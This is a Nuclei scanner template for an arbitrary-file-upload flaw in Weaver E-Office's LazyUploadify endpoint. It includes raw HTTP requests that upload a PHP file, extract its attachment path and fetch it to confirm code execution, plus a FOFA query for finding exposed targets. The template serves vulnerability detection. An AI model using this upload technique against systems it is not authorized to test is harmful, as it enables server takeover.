漏洞描述
OA E-Office LazyUploadify is vulnerable to arbitrary file upload.
id: weaver-lazyuploadify-file-upload
info:
name: OA E-Office LazyUploadify - Arbitrary File Upload
author: SleepingBag945
severity: critical
description: OA E-Office LazyUploadify is vulnerable to arbitrary file upload.
reference:
- https://github.com/w-digital-scanner/w9scan/blob/master/plugins/weaver_oa/2158.py
metadata:
verified: true
max-request: 3
fofa-query: app="泛微-EOffice"
tags: weaver,e-office,intrusive,rce,file-upload,vuln
variables:
filename: "{{to_lower(rand_base(5))}}"
string: "weaver-lazyuploadify-file-upload"
http:
- raw:
- |
GET /general/weibo/javascript/LazyUploadify/uploadify.php HTTP/1.1
Host: {{Hostname}}
- |
POST /general/weibo/javascript/LazyUploadify/uploadify.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjetvpuye
Accept-Encoding: gzip
------WebKitFormBoundaryjetvpuye
Content-Disposition: form-data; name="Filedata"; filename="{{filename}}.php"
Content-Type: application/octet-stream
<?php echo md5("{{string}}");unlink(__FILE__);?>
------WebKitFormBoundaryjetvpuye--
- |
GET /attachment/{{attachmentID}}/{{attachmentName}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: attachmentID
internal: true
group: 1
regex:
- "attachmentID\":(.*?),"
- type: regex
name: attachmentName
internal: true
group: 1
regex:
- "attachmentName\":\"(.*?)\","
matchers-condition: and
matchers:
- type: dsl
dsl:
- "contains(body_2, 'attachmentID') && contains(body_2, 'attachmentName')"
condition: and
- type: word
part: body_3
words:
- '{{md5(string)}}'
# digest: 490a0046304402206f42be38a7c74fa6f39150d13cbd6f3447d25013bb9bef7e35fa1c26bc65a6c7022021b67673875e3d583274759253dbdb1ac420bd4ef6d18c24f35e118f05a3b0f0:922c64590222798bb761d5b6d8e72950